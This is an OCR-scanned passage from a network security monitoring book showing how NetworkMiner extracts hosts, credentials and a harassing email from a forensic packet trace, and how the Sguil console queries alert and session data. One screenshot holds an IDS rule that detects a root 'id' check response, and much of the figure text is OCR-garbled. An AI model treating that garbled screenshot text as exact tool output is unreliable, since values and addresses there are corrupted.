the data. This is one tool that really brings NSM extracted content to life. 


Examining Content with NetworkMiner 


NM (Attp://sourceforge.net/projects/networkminer/) is an open source NFA tool 
that also exists as a commercial version. 


Erik Hjelmvtk develops NM under the GNU General Public License version 2. 
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The commercial version of NM at hitp://www.netresec.com/ enables remote 
packet capture via Pcap-over-IP, Port Independent Protocol Identification 
(PIPI; see Attp://taosecurity.blogspot.com/2006/09/port-independent-protocol 
.html for a description), and other features. The free version bundled with 
SO contains the core features an analyst would want in order to examine 
content. 

In this section, we'll see what NM does with the Digital Corpora trace 
examined earlier in the Xplico discussion. If you haven't already down- 
loaded nitroba.pcap onto the SO platform, do that before continuing. 


Running NetworkMiner 


NM is a Windows application, but the SO team configured it to run under 
the open source Mono (hitp://www.mono-project.com/) implementation of 
Microsoft's .NET Framework. 

To access NM from the SO desktop click the blue-and-white mouse 
icon, then Security Onion, and finally NetworkMiner. By default, NM wants 
to watch a live interface to collect traffic. To start the analysis process, select 
File > Open in NM and browse to the location of the nitroba.pcap file. 

Once the file is loaded, NM should display a flurry of analysis activity, 
including extracting content and resolving all of the domain names it finds 
in the trace, as shown in Figure 7-24. This process may take an hour or two 
and will keep your SO platform busy. 


Loading PCAP file 


NetworkMiner 1.4.1 
Tools Help 


-- Select a network adapter in the list — 


Parameters (531) | Keywords | Cleartext | Anomalies 
Hosts (43) |Frames (41xx) | Files (80) | Images (39) | Messages | Credentials (10) | Sessions (71) | DNS 


Sort Hosts On: g Address (ascending) E nitroba... d6b5d... 


192.168.1.64 

74.125.19.83 

74.125.19.19 

192.168.1.254 

74.125.19.103 [www.l.google.com] 

74.125.19.147 [www.l.google.com] 

74.125.19.104 [www.l.google.com] 

74.125.19.99 [www.l.google.com] 

209.85.171.97 [ssl-google-analytics.l.google.com] 
e 72.14.223.191 [blogger.l.google.com] 

69.59.240.133 

209.3.183.2 [f.chtah.com] 

216.15.189.52 [f.chtah.com] 

216.15.189.53 [f.chtah.com] 

216.15.189.54 [f.chtah.com] 

208.49.63.20 [f.chtah.com] 

209.3.183.4 [f.chtah.com] 

65.175.87.70 [e.drugstore.com] 

74.127 1.71 [e.drugstore.com] 

53 245 2NG 121 Itvfeecdc mnzilla oral 


B- 
B 
B 
B 
B 


3-E-EI-EI-BIH 








Figure 7-24: NM processes the nitroba.pcap trace. 





NM on Windows is much faster than it is on Mono and Linux. You may want to 
install it on a Windows workstation with plenty of memory, or limit its use on SO 
to processing smaller trace files. 


The remainder of this section focuses on how to interact with the same 
nitroba.pcap trace using the Windows version of NM, which is functionally 
equivalent to NM on Linux. 


Collecting and Organizing Traffic Details 


Many analysts begin reviewing NM data in its Hosts tab, which lists all IP 
addresses that it sees in a network trace, as you can see in Figure 7-25. The 
IP address 192.168.15.5 is shown highlighted and expanded in the figure. 
To expand an entry for an IP address, click the small box to the left of that 
address. 


File Tools Help 





— Select a network adapter in the list — 








Parameters | Keywords | Cleartext | Anomalies 
Hosts (747) | Frames (9500) | Files (4391) | Images (2454) | Messages (2) | Credentials (515) | Sessions (2111) | DNS (1870) 
Sort Hosts On: [IP Address (ascending) ~) (Sor and Refresh 



































6-89 192.168.15.1 ime.apple.com] fidisk mac.com] [bethmv members mac.com] 
Wl) 192.168.152 
8 192.168.154 
ae 77 192.158.15 5 
IP: 192.168.15.5 
W MAC: 0014D144A0F1 (TRENDnet) 


Hostname: 
OS: Unknown 
TTL: 1 (distance: 31) 
Open TCP Ports: 
=> Sent: 14 packets (1,541 Bytes), 0.00 % cleartext (0 of 0 Bytes) 
z 192.168.15.5 -> 192.168.15.255 : 1 packets (52 Bytes). 0.00 % cleartext (0 of 0 Bytes) 
UDP: 520 -> 520 : 1 packets (52 Bytes). 0.00 % cleartext (0 of 0 Bytes) 
192.168.15.5 -> 224.0.0.9 : 1 packets (52 Bytes). 0.00 % cleartext (0 of 0 Bytes) 
192.168.15.5 -> 224.0.0.22 : 3 packets (120 Bytes), 0.00 % cleartext (0 of 0 Bytes) 
192.168.15.5 -> 239.255.255.250 : 9 packets (1.317 Bytes), 0.00 % cleartext (0 of 0 Bytes) 
Received: 0 packets (0 Bytes), 0.00 % deatet (0 of 0 Bytes) 
Incoming sessions: 0 
Outgoing sessions: 0 
5-2] Host Details 
Queried IP Addresses : 192.168.15.5 
UPnP field : Host-239.255 255.250 : 1900 
UPnP field : Man:"ssdp : discover" 
UPnP field : M-SEARCH * HTTP/1.1 
UPnP field : MX : 3 
UPnP field : STupnp : rootdevice 
UPnP field : ST:um:schemas-upnp-org device IntemetGatewayDevice : 1 
UPnP field : ST:um:schemas-upnp-org device :MediaRenderer : 1 
c- 192.168.157 
9 192.168.158 
4 
| 









































Live Sniffing Buffer Usage: | 





Figure 7-25: Metadata from NM for IP address 192.168.15.5 


As you can see, although NM couldn't identify the operating system, it 
does tell us that the MAC address is assigned to TRENDnet, a maker of net- 
working equipment. The Universal Plug and Play (UPnP) queries involving 
MediaRenderer indicate that this device may be an audiovisual platform. 

The details and metadata for IP 192.168.15.4 are very different from 
that of 192.168.15.5, as shown in Figure 7-26. 
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File Tools Help 
— Select a network adapter in the list — m) (> Start 

















Keywords | Cleartext | Anomalies 
Hosts (747) | Frames (95000) | Files (4391) | Images (2454) | Messages (2) | Credentials (515) | Sessions (2111) | DNS (1870) | Parameters (44440) 


Sort Hosts On: [IP Address (ascending) -]í Sort and Refresh 


c EBENE 
i IP: 192.168.15.4 
W MAC: 0017F2E2CUCE (Apple Computer) 
Hostname: 























=> Sent: 34869 packets (5,103,103 Bytes), 0.00 % cleartext (0 of 0 Bytes) 
)-€@ Received: 39093 packets (38,860,008 Bytes), 0.00 % cleartext (0 of 0 Bytes) 


@ Outgoing sessions: 1658 
= De 


Queried IP Addresses : 192.168.15.1 

Queried DNS names : db. dns-sd. udp.0.117.168.192 in-addr.arpa.www.amazon.com.z-ecx images-amazon.com,ad.3ad double 
Web Browser User-Agent 1 : Mozilla/5.0 (Macintosh: U; Intel Mac OS X 10_5_4: en-us) AppleWebKit/525.18 (KHTML. like Geck 
Web Browser User-Agent 2 : Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-us) Apple WebKit/5525.20.1 (KHTML, like Gecko) Ve 
Web Browser User-Agent 3 : Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.7.5) 

Web Browser User-Agent 4 : CFNetwork/330.4 {a 
Web Browser User-Agent 5 : Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.1.16) Gecko/20080702 Firefox/2.0.0.16 
Web Browser User-Agent 6 : Apple-PubSub/65.1.1 

Web Browser User-Agent 7 : iTunes/7.7 (Macintosh; U; Intel Mac OS X 10.5.4) 

Web Browser User-Agent 8 : Adium/1.2.7 (Mac OS X) Sparkle/1.1 

Web Browser User-Agent 9 : Mozilla/4.0 (compatible; MSIE 5.5) 

Web Browser User-Agent 10 : Windows-Update-Agent 

Web Browser User-Agent 11 : Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) 

Web Browser User-Agent 12 : Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1 
Web Browser User-Agent 13 : ee://aol/http 

Web Browser User-Agent 14 : iTunes/7.7 (Macintosh; N; Intel) 

Web Browser User-Agent 15 : Mozilla/5.0 (Macintosh: U; Intel Mac OS X 10.5; en-US; rv:1.9b5) Gecko/2008032619 Firefox/3.0l 
Browser language (Google Analytics) 1 : en-us + 


«| n j r 
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Figure 7-26: Metadata from NM for IP address 192.168.15.4 


The hardware at this address appears to be an Apple device. In addition, 
the Host Details section shows a variety of web browser user-agent strings, 
which tells us that this system is much more active than 192.168.15.5, as 
shown by the number of outgoing sessions (1658). 

At the bottom of the Host Details section, the screen resolutions observed 
during the traffic capture that NM obtained from Google Analytics are listed, 
as shown in Figure 7-27. 


HTTP header: X-Apple-Validation 99 : 1D3A762C-4D45E757E32DEC27090C5F25656A2383 
HTTP header: X-Dsid 1 : 46103215 

HTTP header: X-Dsid 2 : 10969092 

HTTP header: X-Prototype-Version 1 : 1.5.0 

HTTP header: X-Requested-With 1 : XMLHttpRequest 


HTTP header: X-SVN-Rev 1 : 111557 

Screen resolution (Google Analytics) 1 : 1280x800 
Screen resolution (Google Analytics) 2 : 1680x1050 
Screen resolution (Google Analytics) 3 : 1050x778 





Figure 7-27: NM lists three screen resolutions for IP address 192.168.15.4. 


Rendering Content 


In addition to collecting and organizing details about hosts seen on the wire, 
NM extracts content and renders it for easy viewing. Figure 7-28 shows an 
example involving email. 


The Messages tab in Figure 7-28 shows an email sent from 192.168.15.4, 
the Apple computer that we reviewed in Figure 7-26. A sender with the email 
address (he whole world, is watching nitroba.org sent an unpleasant email 
message to lilytuckrige Qyahoo.com. Now we understand why this is a harass- 
ment case. 





File Tools Help 



























































— Select a network adapter in the list — x] (> stat 
Keywords | Cleartext I Anomalies 
Hosts (747) | Frames (95004) | Files (4391) | Images (2454)| Messages (2) | Credentials (515) | Sessions (2111) | DNS (1870) | Parameters (44440) 
Frame nr. Source host Destination host From To Subj | Attribute Value 
81379 192.168.15.4  69.80.225.91 [w... _liytuckri IE | emai liytuckrige Gyahoo.com 
84366 192.168.154 — 69259422 [wil.. lytucki.. you «|| sender the whole world is watchingGnitroba.on 
subject Your class stinks 
message Why do you persist in teaching a boring cli 
security code xkpmkb 
submit SEND! 
PHPSESSID 7622dba(13236142ccec 305 6a20aaffa 
«| m | ^ 
Why do you persist in teaching a boring class? ^ 
We dont like i. 
We dont like you. 























Figure 7-28: Harassing email extracted by NM 


Like Xplico, NM extracts and displays all captured images, along with 
various other forms of content. It can be a bit easier to use than Xplico 
because you scroll through output, rather than click from page to page as 
with Xplico's web server. NM can simplify the process of extracting content 
in bulk from a network trace. 


Conclusion 


This chapter described three graphical packet analysis tools: Wireshark, 
Xplico, and NM. Wireshark is undoubtedly the most popular, with support 
for thousands of protocols and an ever-expanding set of capabilities. Lesser- 
known projects like Xplico and NM are more forensics focused, providing 
parsers to extract content automatically and giving analysts an overview of 
network-derived artifacts. 

Choosing which tool to use depends on the needs of the investiga- 
tion. When you require deep understanding of a protocol, I recommend 
Wireshark. When you want rapid overviews of content exchanged between 
computers, Xplico or NM may be more appropriate. 

Each of these tools offers different capabilities and exposes various 
forms of NSM data. While these tools are powerful additions to the analyst's 
arsenal, they don't function as NSM consoles. Chapter 8 concludes the data 
presentation tool discussion by looking at the NSM consoles Sguil, Squert, 
Snorby, and ELSA. 


Graphical Packet Analysis Tools 157 





NSM CONSOLES 


Chapters 6 and 7 discussed tools for packet 
analysis. This chapter covers NSM con- 
soles, which are tools built specifically for 
NSM. Applications like Tcpdump, Tshark, 
Wireshark, Xplico, and NetworkMiner process live 


traffic or traffic saved in pcap format. When reading 
this chapter, you may recall features of those tools that share certain simi- 
larities with the software discussed here. Some of them generate session or 
extracted content data, for example, or present multiple forms of data in 

a single interface. The difference between the tools covered in Chapters 6 
and 7 and those presented in this chapter is that the NSM consoles help 
analysts drive a decision-making process, rather than a troubleshooting or 
forensic process. 

Furthermore, NSM consoles tend not to work on raw packets, whether 
in the form of live traffic or traffic saved in pcap format. AII of the tools in 
Chapters 6 and 7 contained features that let analysts tell the software to 
sniff traffic from the wire or open a saved trace. NSM consoles, in contrast, 
offer a framework and interface to manipulate and interact with multiple 
NSM datatypes, but generally not via processing a saved trace. This is a 
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limitation in some respects, because it restricts their use to live operational 
scenarios. This is not necessarily true of some commercial tools, but the 
focus of this book is open source software packaged with the free SO distri- 
bution: Sguil, Squert, Snorby, and ELSA. 


An NSM-centric Look at Network Traffic 


The tools we've explored so far generate one or more forms of NSM data. 
Here's a brief recap of the NSM datatypes (introduced in Chapter 1): 


Chapter 8 


Full content data Network traffic stored to disk in pcap format. 


Extracted content Information carved from network traffic, such as 
files or web pages. 


Session data A high-level summary of network conversations, focusing 
on who talked to whom, at what time, plus how much information was 
exchanged. 


Transaction data A more granular form of session data, exposing 
details of protocols with request-reply characteristics like HTTP, FTP, 
and SMTP. 


Statistical data Descriptive information that characterizes network 
activity, like counts of various aspects of conversations. 


Metadata “Data about data,” or an integration of external information 
like geography or ownership, applied to network information. 


Alert data Reflects whether traffic triggered some sort of notification. 
It’s ajudgment made by a tool, typically an IDS, about some characteris- 
tic of network traffic. 


That's a lot of data to manage. NSM isn’t about collecting evidence for 


the sake of having it, though. CIRTs collect NSM data because it enables 
them to achieve a specific business objective. The outcome of an NSM- 
centric look at network traffic is a decision: Is the event in question benign, 
suspicious, or malicious? The answer to that question determines what a 
CIRT analyst does next. Mature CIRTs answer these questions to meet busi- 
ness goals, such as conducting detection and response in one hour or less. 


Many forms of network data, and tools to inspect that data, help ana- 


lysts meet business security goals. Tools built specifically for NSM, however, 
assist in three specific ways: 


They make it easy for analysts to review multiple forms of NSM data, 
often within a single interface. 

They enable analysts to “pivot,” or transition, from one form of NSM 
data to another. 

They capture the outcome of the analyst’s decision-making process. 
NSM-specific tools make a workflow possible, usually coordinating the 
actions of multiple analysts to complete a shared objective. 


Sguil, Squert, Snorby, and ELSA are four open source tools written by 
NSM practitioners, for NSM practitioners. These software authors realized 
that other tools for analyzing network-centric data were helpful but not 
sufficient for conducting NSM as a continuous business process. Each tool 
offers a way to integrate several types of NSM data, pivoting among the 
information, and, in most cases, classifying the outcome of an investigation. 

The NSM consoles packaged with SO work with several overlapping sets 
of NSM data. Whereas the packet analysis tools discussed in Chapters 6 and 7 
tend to be producers of NSM data, the consoles in this chapter are more like 
consumers of NSM data. Similar to the tools profiled in Chapters 6 and 7, 
the consoles in this chapter are available in SO by default, except for ELSA. 
(The setup wizard asks if you want to run ELSA when installing SO.) This 
chapter highlights the key features of each tool to help you decide which 
best suits the needs of your NSM operation. 


Using Sguil 


Sguil (http://www.sguil.net/) is an open source NSM, first written as a 
proprietary application, but then recoded and released as open source 
in early 2003. 


Bamm Visscher codes Sguil under the Qt Public License (QPL, http://sourceforge 
.net/projects/sguil/). 


Sguil is one of the main applications packaged with SO. Its components 
collect, store, and present data that other SO tools use, and certain applica- 
tions rely on Sguil's authentication database. Even if you decide not to use 
the Sguil console to review NSM data, you'll benefit from its collection and 
management of NSM data. 


Running Sguil 

Sguil is a client/server application written in Tcl/Tk. Its server coordinates 
with Sguil agents deployed on sensors to collect NSM data. The Sguil client 
is the analyst's window into Sguil's data. You can start the Sguil console 
via the Sguil icon on the SO desktop, or you can install the Sguil client on 
another computer. 

The tools we've discussed so far work by analyzing live or saved network 
traffic; they're meant for use in live operations or when conducting review 
on historical activity. In contrast, Sguil is a solely a live tool. You can't use 
Sguil to “open” a saved network trace; you can interact with Sguil only as its 
various components and dependencies collect and generate traffic gathered 
from a live network interface. As an example, we'll use the Sguil client to 
interact with a sample server and sensor. 
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If you've already installed SO, you should be able to follow along with the example. 
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However, the data you see will not match the data shown because you'll be watching 
new, live data, although the analysis process is the same. 


Before running Sguil, make sure that all of its underlying services are 
running on the sensor with the service command, as shown in Listing 8-1. 
You should see 0K in each field. 





$ sudo service nsm status 
Status: securityonion 





* sguil server [ OK ] 
Status: HIDS 

* ossec agent (sguil) [ OK ] 
Status: Bro 
Name Type Host Status Pid Peers Started 
bro standalone localhost running 2433 0 24 Feb 18:27:19 
Status: sademo-eth1 

* netsniff-ng (full packet data) [ OK 

* pcap agent (sguil) [ OK 

* snort agent-1 (sguil) [ OK 

* snort-1 (alert data) [ OK 

* barnyard2-1 (spooler, unified2 format) [ OK 

* prads (sessions/assets) [ OK 

* sancp agent (sguil) [ OK 

* pads agent (sguil) [ OK 

* argus [ OK 

* http agent (sguil) [ OK ] 





Listing 8-1: Output of the sudo service nsm status command 


If one or more components are not running, you can try restarting all 
of the software using the following command: 





$ sudo service nsm restart 





If one or more components are still not running, you may need to rerun 
the SO setup script or consult the SO mailing list for additional assistance. 

Once you've confirmed that all services are running, connect to the Sguil 
console by clicking the Sguil icon on the SO desktop. In this example, the 
Sguil client will connect to the Sguil server on localhost. (You could connect 
to the server from another computer running a Sguil client, but it's easier to 
use the SO platform.) 


l. Connectto your instance of an SO server, and enter the username and 
password you selected for Sguil during the SO installation process, as 
shown in Figure 8-1, and then click OK. 


2. The Sguil client asks you to select network(s) to monitor. Click Select 
All, and then click Start Sguil. 





[- SGUIL-0.8.0 - + x) 


^rsguil 


Sguild Host: |localhost yi 
Sguild Port: [7734 g 7 | 
Username: [sademo 


Password: |**eeeecees 


Figure 8-1: Logging in to Sguil 


























3. The Sguil console appears. Highlight any row in the top section, and 
then check the Reverse DNS, Show Packet Data, and Show Rule boxes. 
The Sguil console will display data like that shown in Figure 8-2. 


Y SGUIL-0.8.0 - Connected To localhost 
File Query Reports Sound: Off ServerName: localhost UserName: sademo UserID: 2 2013-02-24 18:36:28 GMT 


93.184.216.139 6 PADS New Asset - unkn 

2013-02-10 11:10:52 — 192.168.2.108 98.129.184.21 6 PADS New Asset - ssl TLS... 
2013-02-10 11:10:53 — 192.168.2.127 172.16.2.1 PADS New Asset - unkno... 
2013-02-10 11:10:53 — 192.168.2.127 172.16.2.1 PADS Changed Asset - d... 
2013-02-10 11:11:04 — 192.168.2.127 202.12.29.205 PADS New Asset - unkno... 
2013-02-10 11:11:21 0.0.0.0 0.0.0.0 [OSSEC] Integrity checks... 
2013-02-10 11:11:35 — 192.168.2.108 173.194.75.103 PADS New Asset - http ... 

2013-02-10 11:12:31 — 192.168.2.127 204.2.134.162 PADS New Asset - unkno... 
2013-02-10 11:12:37 0.0.0.0 0.0.0.0 ET POLICY Dropbox.co... 

2013-02-10 11:13:06 — 192.168.2.104 74.125.228.74 PADS New Asset - unkno... 
2013-02-10 11:13:37 — 192.168.2.104 74.125.228.38 PADS New Asset - http ... 

2013-02-10 11:14:16 — 192.168.2.127 174.36.207.186 PADS New Asset - http R... 
2013-02-10 11:14:57 — 192.168.2.127 217.160.51.31 ET POLICY curl User-Age... 
2013-02-10 11:14:57 217.160.51.31 192.168.2.127 GPL ATTACK RESPONSE ... 





M Show Packet Data V Show Rule 
alert ip any any -> any any (msg;"GPL ATTACK RESPONSE id check returned root"; 
M Reverse DNS v Enable External DNS content:"uid-0 |28 | root |29|"; fast pattern:only; classtype:bad-unknown; sid:2100498; rev:8;) 


Src IP: 217.160.51.31 Source IP Dest IP 
Src Name: |.193738556.websitehome.co.uk 217.160.51.31 192.168.2.127 4 5 0 299 (27419 


UAPRSF 
Mi Source Dest RRRCSSYI 
Dst Name: Unknown MM Port Port 10GKHTNN seas Ack # 


Whois Query: ^ None © SrcIP © DstIP | |. xfx]. |. |. 4123053297 1327294304|5 — 
[% This is the RIPE Database query service. [48 54 54 50 2F 31 2E 31 20 32 30 30 20 4F 4B 0D 
|% The objects are in RPSL format. { 65 3A 20 53 75 2C 20 31 30 20 


ia z x - 30 31 33 20 31 3A 31 34 3A 35 .Date: Sun, 
|% The RIPE Database is subject to Terms and Conditions. OD 0A 53 65 72 65 72 3A 20 41 F 


|% See http://www.ripe.net/db/support/db-terms-conditions. cS Mm Me ue i 
pdf ; Search Packet Payload | C Hex © Text 


IP Resolution 





























Dst IP: 192.168.2.127 






































Figure 8-2: The Sguil console displaying data 


If you see information similar to that in Figure 8-2, your Sguil installa- 
tion is working as expected. 
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Sguil’s Six Key Functions 
Sguil enables six key functions helpful to NSM analysts: 


e  Sguil performs simple aggregation of similar alert data records. 


e Sguil makes certain types of metadata, and related data, readily 
available. 


e Sguilallows queries and review of alert data. 
e  Sguil permits queries and review of session data. 


e Sguil provides a right-click menu that lets you pivot, or move from 
either of those two categories of data to full content data, rendered as 
text in a transcript, in a protocol analyzer like Wireshark, or in a network 
forensic tool like NM. 


e  Sguil exposes features so analysts can count and classify events, thereby 
enabling escalation and other incident response decisions. 


The following sections explain how to use these features. 


Simple Aggregation 

A powerful but possibly underappreciated Sguil feature is its ability to aggre- 
gate similar records into single lines of output in the console. Figure 8-2 
shows this feature in action. The CNT column is Sguil's mechanism to dis- 
play record counts. The top row, for example, shows how Sguil aggregated 
four similar records into a single entry in the console. 

This simple act of grouping similar records into single lines reduces the 
analyst's workload. The review process can focus on unique records rather 
than repetitive entries that differ only by timestamp. Because Sguil is a 
live, or *real-time," tool, it processes and aggregates entries as the console 
receives them. Entries in the CNT column may increase as new but repeti- 
tive events reach the sensor. 


Metadata and Related Data 


Sguil doesn't expose a great deal of metadata, but it makes three important 
types easily accessible. In Figure 8-2, you can see two forms of metadata in 
the lower-left corner of the console. The entries labeled Src IP, Src Name, 
Dst IP, and Dst Name represent the IP addresses and hostnames (if available 
via DNS) for the source and destination IP addresses of any highlighted 
record. Under this IP and hostname information, Sguil displays WHOIS 
data for either the source or destination IP address. Analysts can choose 
which to display via a radio button. 

Sguil shows one other form of metadata and one form of related data 
in the lower-right corner of the console. When showing alert data gener- 
ated by an IDS like Snort or Suricata (discussed in the next section), Sguil 
displays the rule that triggered the generation of the alert data. Under the 
rule, Sguil shows the packet that triggered the creation of the alert data. 


This metadata and related data give analysts more context about the 
systems involved in network traffic. They can also choose to disable the dis- 
play of this information. 

Now let's take a closer look at the alert data to understand what it 
means in the context of the Sguil console. 


Querying Alert Data in Sguil 


When you start Sguil, alert data is the first form of NSM evidence you will see. 

Sguil calls alerts event data. The database supporting Sguil stores the alert 

data in an event table, so you'll see references to that term, rather than alert. 
Sguil incorporates four forms of alert data: 


e Network IDS engines like Snort and Suricata generate alert data when 
traffic they observe triggers one of their rules. These rules are indica- 
tors of compromises that may require human analysis to determine if 
they represent benign, suspicious, or malicious activity. Alert data from 
the Snort or Suricata IDSs bear entries in the Event Messages column 
that begin with text like ET (for Emerging Threats, an IDS rule source) 
or GPL (another rule source). 


e  Host-based IDS engines like OSSEC (http://www.ossec.net/), if enabled, 
provide similar warnings based on analyzing information about indi- 
vidual computers. Using OSSEC requires installing an OSSEC software 
agent on servers. By default, SO runs OSSEC on its own operating sys- 
tem. Alerts from OSSEC have event messages beginning with /OSSEC]. 
(For more information on OSSEC, see the online manual at Attp:// 
www.ossec.net/doc/.) 


e Sguil also integrates data in the event table from some sources that are 
not IDS engines. For example, Sguil collects network profiling data 
created by the Passive Real-time Asset Detection System (PRADS) tool 
(hitps://github.com/gamelinux/prads/). Alert data from PRADS begins 
with PADS. PADS is a reference to the Passive Asset Detection System, 
the precursor to PRADS. 


e Sguil stores HTTP transaction data generated by Bro. This data records 
Uniform Resource Locators (URLs) observed by Bro, such as www 
-lestmyids.com. Sguil displays these messages by prepending them with 
the label URL. Because HTTP activity is so common on networks, URL 
data is not displayed by default, unlike data from Snort/Suricata, 
OSSEC, and PRADS. 


Data from Snort/Suricata, OSSEC, and PRADS appear by default in 
Figure 8-2, in the top half of the Sguil console. If you want to query for 
HTTP URL data recorded by Bro, you must ask Sguil manually. As an 
example, we'll create a query for HTTP data. Sguil refers to this as an 
event query. 
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To run an event query, choose Query > Query Event Table from the 
Sguil menu. In the Query Builder window, modify the default text as shown 
in Listing 8-2. Note the use of single quote characters (to the left of the 
ENTER key on the US keyboard). 


WHERE event.timestamp » '2013-02-10 11:13:00' AND event.timestamp « '2013-02- 
10 11:16:00' AND event.signature LIKE 'URLZ' 





Listing 8-2: Running an event query for signatures beginning with URL% 


Figure 8-3 shows this query in the Sguil console. 





v Query Builder = +X 
Select Query Type 
* Events © Sancp © PADS 
Edit Where Clause 1 = | 


WHERE event.timestamp > '2013-02-10 11:13:00' AND 


OR | event.timestamp < '2013-02-10 11:16:00' AND event.signature =j 
LIKE 'URL%' 








AND 





NOT E 

LIKE E 
Add Union 

IP Address| LIMIT [1000 5 


Meta Categories Items 











Figure 8-3: Sguil event query for 'URL%' 


This query looks for events in the Sguil database with timestamps 
between 11:13:00 and 11:16:00 UTC on February 10, 2013, where the signa- 
ture or message begins with the string URL. Figure 8-4 shows the results of 
this query on our demo system. 

















M SGUIL-0.8.0 - Connected To localhost -+x 


2013-02-24 19:22:28 GMT| 





File Query Reports Sound: Off ServerName: localhost UserName: sademo UserID: 2 









SELECT event.status, event.priority, sensor.hostname, event.timestamp as datetime, event.sid, event.cid, event.signature, 
INET NTOA(event.src ip), INET NTOA(event.dst ip), event.ip proto, event.src port, event.dst port, event.signature gen, event.signature id, 
Export event.signature rev FROM event IGNORE INDEX (event p key, sid time) INNER JOIN sensor ON event.sid-sensor.sid WHERE 





















NA 1 sademo-... 6.17 2013-02-10 11:13:06 — 192.168.2.104 60236 74.125.228.74 80 6 URL www-ig-opensocial.g... 
NA 1 sademo-... 6.18 2013-02-10 11:13:37 — 192.168.2.104 60237 74.125.228.38 80 6 . URLsafebrowsing.clients.... 
NA 1 sademo... 6.19 2013-02-10 11:13:37 — 192.168.2.104 60238 74.125.228.35 80 6 URL safebrowsing-cache.... 
NA 1 sademo-... 6.20 2013-02-10 11:13:37 — 192.168.2.104 60238 74.125.228.35 80 6 URL safebrowsing-cache.... 
NA 1 sademo-... 6.23 2013-02-10 11:13:38 — 192.168.2.104 60238 74.125.228.35 80 6 URL safebrowsing-cache.... 
NA 1 sademo-.... 6.22 2013-02-10 11:13:38 — 192.168.2.104 60238 74.125.228.35 80 6 URL safebrowsing-cache.... 
NA 1 sademo-... 6.21 2013-02-10 11:13:38 — 192.168.2.104 60238 74.125.228.35 80 6 URL safebrowsing-cache.... 
NA 1 sademo-.. 6.24 2013-02-1011:14:16 — 192.168.2.127 48289  174.36.207.186 80 6 URL geolite.maxmind.com 
NA 1 sademo-... 6.25 2013-02-10 11:14:57 — 192.168.2.127 42523 217.160.51.31 80 6 URL www.testmyids.com 

NA 1 sademo-... 6.26 2013-02-10 11:15:00 — 192.168.2.108 49345 205.251.242.129 80 6 URL s3.amazonaws.com 









Iv Display Detail 
Method: GET Host: www.testmyids.com URI: / Referrer: - UA: curl/7.22.0 (x86 64-pc-linux-gnu) 
libcurl/7.22.0 OpenSSL/1.0.1 zlib/1.2.3.4 libidn/1.23 librtmp/2.3 Trans Depth: 1 Request Body 
Length: 0 Response Body Length: 39 Status Code: 200 Status Message: OK Info Code: - Info 
Message: - Filename: - Tags: (empty) Username: - Password: - Proxied: - MIME Type: text/plain 
MD5: - Extraction File: - UID: LASBSNQPPei 







IP Resolution | 













[l Reverse DNS V Enable External DNS 





































Figure 8-4: Querying Sguil for URL events 


These URL events are drawn from the Bro application's hitp.log file, 
which contains a summary of observed HTTP traffic. A Sguil agent read 
hitp.log and inserted the results into the MySQL database. 

Notice that certain details—such as the timestamp, source and destina- 
tion IP addresses and ports, and URL—are available as individual rows. 
Highlight any row and check the Display Detail box to see the rest of the 
information associated with this event. The text after the UID: element of 
the detailed display is a unique identifier created by Bro for this session. 
You could use this UID to query Bro logs later. 


Querying Session Data in Sguil 


The ability to query for NSM session data is another one of Sguil's key func- 
tions. Sguil refers to session data as SANCP data. SANCP stands for Security 
Analyst Network Connection Profiler, which is a tool written by John Curry 
packaged with earlier versions of Sguil to generate session data. In SO, 
Doug Burks replaced SANCP with PRADS in late 2012. 

In addition to generating session data, PRADS performs network device 
profiling and tracks the systems it sees. Despite the new code, Sguil's data- 
base maintains a sancp table for storing session data. This form of NSM data 
keeps thorough records of every conversation seen by the sensor. 

Unlike alert data, session data is always written to disk, regardless of 
whether any system considers it normal or troublesome. The same neutral 
approach also applies to full content data, extracted content data, transac- 
tion data, statistical data, and metadata. 


Collecting and generating data beyond IDS alerts is a key aspect of network security 
monitoring. The availability of other forms of data, stored regardless of any relation- 
ship to an IDS alert, is a core differentiator between NSM-centric operations and 
alert-centric operations. With NSM, the alert is only the beginning of the analysis 
process, not the end. If your network monitoring model relies on IDS alerts, or IDS 
alerts triggering packet capture, you’re not conducting NSM. Why not convert today? 


Session data isn’t displayed by default in the Sguil console. Analysts can 
query for session data using a process similar to running an event query, as 
described in the previous section. The difference involves querying the sancp 
table instead of the event table. More common, however, is the process of 
pivoting from alert data to session data. With pivoting, you start with one form 
of data, identify an item of interest, and use that item as the jumping-off 
point for a new query. 

To demonstrate how to query for session data using a pivot methodology, 
we'll begin with the results of the URL-based alert data query. Suppose that 
we want to know more about activity involving the destination IP address 
for one of the URL records. Rather than run a new search from the Query 
menu, we'll pivot on the highlighted message. Right-click the destination IP 
address of the highlighted event, and then select Advanced Query > Query 
Sancp Table > Query DstIP/1 Hour, as shown in Figure 8-5. 
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V SGUIL-0.8.0 - Connected To localhost -+ xX 
File Query Reports Sound: Off ServerName: localhost UserName: sademo UserID: 2 2013-02-24 19:30:20 GMT| 


estime Events | Escalated ens) tvert Query 1 





SELECT event.status, event.priority, sensor.hostname, event.timestamp as datetime, event.sid, event.cid, event.signature, 





Submit 
INET_NTOA(event.src_ip), INET NTOA(event.dst ip), event.ip_proto, event.src port, event.dst port, event.signature gen, event.signature id, J [eni 
event.signature rev FROM event IGNORE INDEX (event p key, sid time) INNER JOIN sensor ON event.sid-sensor.sid WHERE i 


Edit 




















IP Resolution 


| Reverse DNS MV Enable External DNS 


S CNT S t 
NA 1 sademo-... 6.17 2013-02-10 11:13:06 — 192.168.2.104 74.125.228.74 80 6 URL www-ig-opensocial.g... 
NA 1 sademo... 6.18 2013-02-10 11:13:37 — 192.168.2.104 60237 74.125.228.38 80 6 URL safebrowsing.clients.... 
NA 1 sademo-... 6.19 2013-02-10 11:13:37 — 192.168.2.104 60238 74.125.228.35 80 6 URL safebrowsing-cache.... 
NA 1 sademo... 6.20 2013-02-10 11:13:37 — 192.168.2.104 60238 74.125.228.35 80 6 URL safebrowsing-cache.... 
NA 1 sademo... 6.23 2013-02-10 11:13:38 — 192.168.2.104 60238 74.125.228.35 80 6 URL safebrowsing-cache.... 
NA 1 sademo-.. 6.22 2013-02-10 11:13:38 — 192.168.2.104 60238 74.125.228.35 80 6 URL safebrowsing-cache.... 
